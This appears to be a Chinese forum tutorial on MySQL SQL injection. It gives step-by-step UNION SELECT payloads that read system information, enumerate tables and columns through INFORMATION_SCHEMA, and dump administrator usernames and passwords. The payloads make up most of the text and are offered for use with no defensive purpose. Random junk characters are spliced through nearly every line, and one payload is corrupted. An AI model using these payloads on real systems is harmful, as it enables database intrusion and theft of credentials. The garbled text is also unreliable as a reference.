本文介绍MYSQL盲注的一些语句和方法
8 S2 Z+ d4 i& K. W" Y" D: E2 g: F' N' w* A) @+ u
学习盲注前先了解下 IFORMATION_SCHEMA 库
$ a( U' u* h! L2 O$ I# r1 h* P0 W4 M0 O4 w0 i, Y3 X( P
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有4 I- ^9 ~: S( j+ s1 D) g% P, M
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。) R) K/ w' l" H9 j7 r
1.得到所有数据库名:2 k# o: ?- E- K+ Z
|SCHEMATA ->存储数据库名的表$ ]6 j, G9 i* o
|---字段:SCHEMA_NAME ->数据库名称
/ e6 M b0 o" B3 w- r5 O& V3 D
0 o! B& q9 m2 s2 _|TABLES ->存储表名 f$ P. w8 G+ r+ y3 l5 @2 h5 o$ D
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
8 R# c& S3 S* O/ b|---字段:TABLE_NAME ->存储表的表名& u1 r5 _+ [# w' u2 q: Z
& _ J0 v( y# Z5 E: F8 D. F|COLUMNS ->存储的字段名表
+ p/ K. M6 M- J+ }|---字段:TABLE_SCHEMA ->该字段所属数据库名! n5 Q0 e# s, J) r+ G2 j* c. O
|---字段:TABLE_NAME ->存储所属表的名称
t; y9 W* ?( u# T. f
9 {4 d2 `& T" [1 P9 i0 e|---字段:COLUMN_NAME ->该字段的名称
: |% b, i, y, [5 ~- P( q0 C' J2 d- B) P
2 U( p8 G9 V L6 l( h' p( ?% F/ d3 B
, V3 B4 {) ]& m2 }: `###########################################################################
$ \, }7 C1 d" p2 C+ v2 B" o; Z1 D8 n) U9 [% @
0x001 获取系统信息:
6 l# Q d; D5 K# |% a! m, f0 `* {# Q+ X
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
# q# @! \$ K) c
/ u0 y& F1 N* i9 n" r/*2 p: p5 ` u/ p! f5 W( O
# t! K3 w5 q" @; P
@@global.version_compile_os 获取系统版本/ m/ H9 |" Z0 Z4 K% \9 z
2 W$ J! L8 P' [' z# M2 y@@datadir 数据库路径) ?; ^0 X- p7 e. _
database() 当前数据库名称
! f, S; M, _: q$ a4 I0 ~! {0x3c62723e 换行HEX值
1 ~" E7 g2 X/ ]+ Z: n, X+ W' o) l2 }5 j* \5 j9 w& A
*/
/ K9 P$ k: r. c" k# d9 }; p
: |! T0 @- u8 Z) S9 X, W! ~7 c4 ~+ n + D. K7 P+ z+ [4 T" s
. x, F, ^( s) }/ r7 `######################################################################. ]9 z* j" `( h5 Q5 \! W
* z1 [/ ^, x( d3 A5 @7 }2 p0x002 获取表名
0 }5 s, `1 t" g A4 l+ V; ~+ ^1 ]: K. z
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*" K y! g5 W: f0 i' I
' S# Q0 X9 V# s, ] ( U& s7 k" G) E" I# [# u z6 y% e4 \6 C
$ B4 J7 K+ m, l* Q/* A! z# W U7 J" @$ j; n# u
4 I% k# B2 [2 v, k0x67617264656e 为当前数据库名2 x u0 v) l; Z1 x2 `* m7 Z0 L
* T6 t! f! P) i) u3 C
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
P, R, e5 {- U5 I% ~4 W F: n+ F$ `4 T6 B/ X
*/
0 D6 i! i5 R4 o" ~5 C5 G$ W+ _5 C
######################################################################
' _& _. s: N* w" ^2 r6 J. G0 G/ k7 H3 ?% D. \
v& O5 p5 M8 D4 m/ }' a. b9 @# y0 s ?* j# y f' S0 ]& \
0x003 获取字段
- m' T) K3 K+ n$ a0 [ S, d: q8 o: @7 i. S6 }
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*" y$ Z' K& `! {' e
' k9 U2 ]+ |' {/ `* b5 }/*
2 S8 L: Y2 [0 b& N3 V( d# U& g2 [/ `$ X
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段9 c0 f" s+ \: S5 o5 R
. m4 C7 E/ ]& A# A" F
0x61646d696e ->选择一个表
9 t2 X) O5 L+ Z3 n/ ~8 l2 e! r* }) K, ^4 O2 W
0x67617264656e ->数据库名
) x$ {- f2 O2 T) R* I2 M a9 O
1 B' w! \# k) z7 \1 K* [*/
: B6 a6 r: ?5 R5 R8 E8 I8 Z& v4 Q0 W- p6 b& [
#####################################################################
# G$ A" q) m5 K" G) W8 r' ]: i% V4 v2 D5 G0 h/ D+ o
/ y# j! i5 _& @% k; I$ _9 @5 K* F- Z' N0 F( i" X4 M
0x004 获取数据& h- Z, T2 T$ s: X, f& i
% R9 U) _# x. S
union select 1,2,3- B. v8 k2 l0 U% T
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin: @" r1 ]) v, t# o
0 {$ H/ b8 q, q6 n3 y: |union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
3 S+ v2 `1 L5 M5 h) P0 r- _) Z: V
- m# z# e' l) t7 h- O5 ]' {( E9 l- p : b$ z, W# X. c2 U/ k. s( ~1 g
/ W/ d+ E8 d" l/*
# t% P8 S4 Y. K1 @, r8 |: ?. C* V# g! N# l4 C
0x3c62723e 换行符号HEX编码4 }) ]2 V: m) _+ b- ?9 }
8 L) f P# H3 e4 s; f
group_concat 同时获得该字段所有数据3 C* x0 G+ n' t3 F& ~
4 V& [. v7 @1 N, z$ {8 u }*/
2 Y, Y, ?8 H b# y
4 p1 f8 I y0 d ^, G v8 T! u |